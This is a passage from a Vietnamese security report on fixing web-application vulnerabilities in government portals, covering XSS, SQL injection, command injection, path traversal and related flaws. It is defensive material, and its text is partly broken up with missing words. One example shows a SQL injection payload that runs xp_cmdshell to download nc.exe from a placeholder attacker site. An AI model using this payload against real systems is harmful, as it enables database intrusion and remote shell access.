liệu để xuất phía người dùng tương tự mô tả trên: a Xác nhận điểm nhập liệu Có thể ngăn chặn công DOM-base cách kiểm tra liệu chèn vào văn cho phép ký tự abc khoảng trắng chèn Dưới đoạn mã ví dụ: var a = document.URL; a = a.substring(a.indexOf(“message=”) + 8, a.length); a = unescape(a); var regex=/^([A-Za-z0-9+\s])*$/; if (regex.test(a)) document.write(a); Ngoài cần kiểm tra kỹ trường hợp liệu phát sinh từ máy chủ như: - Các truy vấn chứa tham số đơn - Các tham số có tên “message” - Các tham số mà giá trị chứa ký tự abc 350 b Xác nhận đầu liệu Trình ứng dụng nên sử dụng kiểu mã hóa HTML đề cập phần reflected XSS cho liệu DOM mà người dùng điều khiển trước liệu chèn vào văn Bên cạnh tăng cường thêm cho tính mã hóa HTML hàm sau: function sanitize(str) { var d = document.createElement(‘div’); d.appendChild(document.createTextNode(str)); return d.innerHTML; } 11.6.8 Khắc phục lỗi SQL Injection Mặc dù ảnh hưởng lỗi SQL Injection lớn, nhiên có nhiều cách để ngăn chặn 11.6.8.1 Các biện pháp khắc phục chủ yếu Bởi nguyên nhân gây lỗi SQL thường không xử lý kỹ dấu nháy đơn, cần bao các dấu nháy đơn liệu người dùng nhập vào cách nhân đôi lên Tuy nhiên cách tác dụng hai tình sau: - Nếu liệu người dùng nhập vào dạng số chuẩn bị đưa vào câu truy vấn SQL, liệu thường không bao dấu nháy đơn, kẻ công lợi dụng để chèn vào câu truy vấn khai thác lỗi mà không cần sử dụng dấu nháy đơn - Trong số trường hợp, liệu bao an toàn khởi tạo chèn vào sở liệu sau lại đọc ngược từ sở liệu để thực thi, dấu nháy đơn nhân đôi đi, liệu lại trở với nguyên dạng ban đầu liệu tái sử dụng Một biện pháp thường dùng sử dụng thủ tục lưu trữ cho tất truy cập vào sở liệu Ở nghi ngờ tùy chỉnh thủ tục lưu trữ mang đến giải pháp bảo mật tăng hiệu 351 hoạt động, nhiên chúng không đảm bảo ngăn chặn hết lỗi SQL Injection hai lý do: - Vì với thủ tục lưu trữ lập trình kém, dẫn đến tổn thương SQL Injection mã nguồn Tương tự vấn đề bảo mật phát sinh xây dựng câu lệnh SQL thủ tục lưu trữ nơi khác, thực tế thủ tục lưu trữ không ngăn chặn lỗ hỗng từ nơi phát sinh lỗi - Ngay thủ tục lưu trữ mạnh sử dụng lỗ hổng SQL Injection phát sinh gọi không an toàn từ việc xử lý liệu người dùng nhập vào Ví dụ có hàm đăng ký người dùng thực thi bên thủ tục lưu trữ sau: exec sp_RegisterUser ‘joe’, ‘secret’ Câu lệnh bị lỗi giống câu lệnh INSERT đơn giản, tin tặc thực khai thác sau: foo’; exec master xp_cmdshell ‘tftp site-tan-cong.com GET nc.exe’ Khi câu truy vấn thành: exec sp_RegisterUser ‘joe’, ‘foo’; exec master xp_cmdshell ‘tftp sitetan-cong.com GET nc.exe’ ‘ Thủ tục lưu trữ không tác dụng Với ứng dụng lớn phức tạp với hàng ngàn câu truy vấn SQL giải pháp viết câu lệnh thủ tục lưu trữ phát triển ứng dụng 11.6.8.2 Tham số hóa câu truy vấn Hầu hết sở liệu phát triển ứng dụng cung cấp hàm API để lọc liệu không mong muốn nhằm ngăn chặn lỗi SQL Injection Trong việc tham số hóa truy vấn, cách xây dựng câu lệnh SQL chứa liệu người dùng nhập vào thực qua hai bước: - Trình ứng dụng định rõ cấu trúc câu truy vấn, tạo mục để xử lý liệu người dùng nhập vào 352 - Trình ứng dụng định rõ nỗi dung mục Theo đó, cách để để liệu nguy hiểm định bước lại cản can thiệp vào cấu trúc truy vấn định bước Bởi cấu trúc truy vấn định nghĩa, hàm API liên quan nắm giữ mục liệu theo cách an toàn Vì hiểu liệu cấu trúc câu lệnh truy vấn Ví dụ cho thấy khác câu truy vấn động không an toàn xây dựng bên liệu người dùng tham số hóa: Đoạn mã thứ bị lỗi SQL Injection tham số name //Định nghĩa cấu trúc truy vấn String queryText = “select ename,sal from emp where ename =’“; //Nối tên (name) người dùng cung cấp queryText += request.getParameter(“name”); queryText += “‘“; // Thực thi câu truy vấn stmt = con.createStatement(); rs = stmt.executeQuery(queryText); Đoạn mã thứ hai, cấu trúc truy vấn định nghĩa cách sử dụng dấu hỏi mục để chứa tham số người dùng cung cấp Phương thức prepareStatement gọi để giải thích điều cố định cấu trúc cấu truy vấn thực thi Bởi phương thức setString sử dụng để đặc tả giá trị thật tham số cấu trúc câu truy vấn cố định, giá trị chứa liệu không ảnh hưởng đến câu truy vấn, câu truy vấn thực thi an toàn //define the query structure String queryText = “SELECT ename,sal FROM EMP WHERE ename = ?”; //prepare the statement through DB connection “con” stmt = con.prepareStatement(queryText); //add the user input to variable (at the first ? placeholder) stmt.setString(1, request.getParameter(“name”)); // execute the query rs = stmt.executeQuery(); Những điều cần ghi nhớ tham số hóa câu truy vấn: 353 - Việc tham số hóa câu truy vấn áp dụng cho sở liệu - Mọi liệu người dùng nhập vào cần tham số hóa cách Dù có nhiều trường hợp tham số truy vấn xử lý cách an toàn, nhiên có hai liệu nối trực tiếp vào chuỗi tạo nên câu truy vấn làm phát sinh nguy SQL Injection - Các mục nắm giữ liệu người dùng nhập vào không dùng để định bảng cột dùng câu truy vấn 11.6.8.3 Phòng chống SQL Injection theo chiều sâu Phần gốc sở liệu (database back-end) cần bảo vệ để chống lại kiểu công Dưới ba bước để thực điều này: - Trình ứng dụng nên dùng quyền thấp truy cập vào sở liệu, không cần thiết phải dùng quyền DBA hay root - Rất nhiều sở liệu sử dụng số lượng lớn hàm mặc định, có số hàm không cần thiết, vậy, nên vô hiệu hóa hàm không cần thiết để tránh trường hợp hàm có lỗi tin tặc khai thác - Nên cập nhật vá lỗi phiên từ nhà sản xuất cách theo dõi website nhà phát triển 11.6.9 Khắc phục lỗi Operating Command Injection (OSC Inj) Một cách tổng quan, để ngăn chặn OSC Inj cần tránh gọi trực tiếp câu lệnh hệ điều hành Hầu tất nhiệm vụ mà ứng dụng web thực cách gọi hàm API xây dựng sẵn không cần gọi trực tiếp câu lệnh từ hệ điều hành Sẽ nguy hiểm liệu người dùng nhập vào vượt qua lọc thực thi hệ điều hành Do cần có kiểm soát chặt chẽ với liệu kiểu này, xây dựng danh sách để hạn chế người dùng cố ý nhập vào chuỗi giá trị Ngoài ra, đầu vào nên giới hạn 354 ký tự hẹp chữ số Đầu vào chứa kiểu liệu khác siêu ký tự loại bỏ Có thể sử dụng câu lệnh API dựng sẳn để phòng chống OSC Inj Ví dụ Java, có hàm API Runtime.exec ASP.NET có API Process.Start không hỗ trợ siêu ký tự cho phép cần đảm bảo câu lệnh mà người phát triển ứng dụng dự kiến chạy 11.6.10 Khắc phục lỗi Xpath Injection, LDAP Injection Nếu cần thiết phải chèn liệu người dùng nhập vào truy vấn Xpath/LDAP liệu người dùng nhập vào cần kiểm tra thông qua bảng danh sách ký tự cho phép lập nên Trong nên cấm ký tự liên quan đến truy vấn Xpath/LDPA như: ( ) = ‘ [ ] : , * / tất khoảng trắng Những đầu vào không khớp với danh sachs cho phép bị từ chối 11.6.11 Khắc phục lỗi SMTP Injection Cần có lọc để kiểm tra xem có phải biểu thức quy chèn vào thay email hay không (Có thể từ chối ký tự sang dòng nào) Nội dung tiêu đề email nên quy định độ dài không nên chứa ký tự sang dòng Nếu nội dung email sử dụng trực tiếp kết hợp SMTP (SMTP Conversation) dòng chứa dấu chấm đơn nên bị vô hiệu hóa 11.6.12 Khắc phục lỗi lộ đường dẫn quan trọng (path traversal) Cho đến nay, cách hữu hiệu để tránh lỗi path traversal không cho liệu nhạy cảm người dùng nhập vào qua trình ứng dụng API hệ thống Với hầu hết tệp tin không kiểm soát hoàn toàn tệp tin đặt thư mục gốc truy cập cách gọi đường link trực tiếp tệp tin Nếu điều không thể, ứng dụng trì danh sách dùng mã hóa tệp tin sử dụng 355 trang, sử dụng định danh khác (như số thứ tự tệp tin) để định tệp tin yêu cầu, tất yêu cầu chứa định danh không khớp danh sách bị từ chối Trong số tình huống, trình ứng dụng nên dùng số phương pháp tiếp cận theo chiều sâu để tạo số biện pháp cản trở công path traversal Dưới số cách phòng thử thế: - Sau thực giải mã xác nhận liệu người dùng nhập vào, trình ứng dụng nên kiểm tra nội dung liệu có chứa ký tự phục vụ cho việc duyệt cấu trúc thư mục (như dấu gạch chéo hay xiệc ngược) hay không - Trình ứng dụng nên sử dụng bảng danh sách cố định kiểu tệp tin phép từ chối yêu cầu với dạng khác (sau giải mã kiểm tra liệu) - Sau thực việc lọc yêu cầu kiểu tệp tin mà người dùng nhập vào, trình ứng dụng nên dùng hàm API hệ thống phù hợp để đảm bảo việc ổn Và tệp truy cập cách dùng tên tệp tin nằm thư mục bắt đầu định ứng dụng: + Trong Java khởi tạo đối tượng java.io.File sử dụng tên tệp tin người dùng đưa vào sau gọi phương thức getCanonicalPath đối tượng Nếu chuỗi trả không khớp với tên thư mục bắt đầu yêu cầu từ chối + Trong ASP.NET, sử dụng phương thức System.Io.Path.GetFullPath kiểm tra chuỗi trả tương tự bên Java - Trình ứng dụng hạn chế khai thác path traversal cách sử dụng môi trường chrooted để truy cập vào thư mục chứa tệp tin cần gọi Trong trương hợp này, thư mục chooted xử lý thể tệp tin hệ thống gốc Và tất yêu cầu nhằm khai thác lỗi path traversal bị bỏ qua Hệ thống chooted hỗ trợ 356 hầu hết hệ điều hành linux Còn Windows, mount thư mục bắt đầu thành ổ đĩa vật lý sử dụng kết hợp với ký tự ổ đĩa để truy cập nội dung Trình ứng dụng tự chống lại công path traversal cách sử dụng hệ thống ghi log hệ thống cảnh báo Khi yêu cầu mà hệ thống nhận có chứa đoạn mã khai thác đáng nghi liên quan đến path traversal, trình ứng dụng ghi vào log kiện này, tạm thời khóa tài khoản người dùng vừa gởi yêu cầu, đồng thời cảnh báo với người quản trị 357 KẾT LUẬN VÀ KIẾN NGHỊ Kết luận: Việc xây dựng quy trình kiểm tra, phát điểm yếu an toàn thông tin đưa giải pháp đảm bảo an toàn thông tin áp dụng cho cổng thông tin điện tử nói chung cổng thông tin điện tử quan nhà nước nói riêng thực cần thiết Dựa quy trình này, người quản trị hệ thống người quản trị phần mềm cổng thông tin điện tử có tài liệu đầy đủ để thực đánh giá điểm yếu an toàn thông tin cho công thông tin điện tử Đồng thời áp dụng biện pháp đảm bảo an toàn thông tin cho cổng thông tin điện tử Kiến nghị: Các nội dung nghiên cứu đề tài có đưa vào áp dụng thực tế cho công thông tin điện tử nói chung cổng thông tin điện tử quan nhà nước nói riêng Tuy nhiên, để áp dụng cách hiệu nhanh chống cần phải nghiên cứu đưa tài liệu hướng dẫn cụ thể chi tiết hơn, đồng thời phổ biến rộng rãi cho nhiều người biết áp dụng 358

Ngày đăng: 14/12/2021, 23:07

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w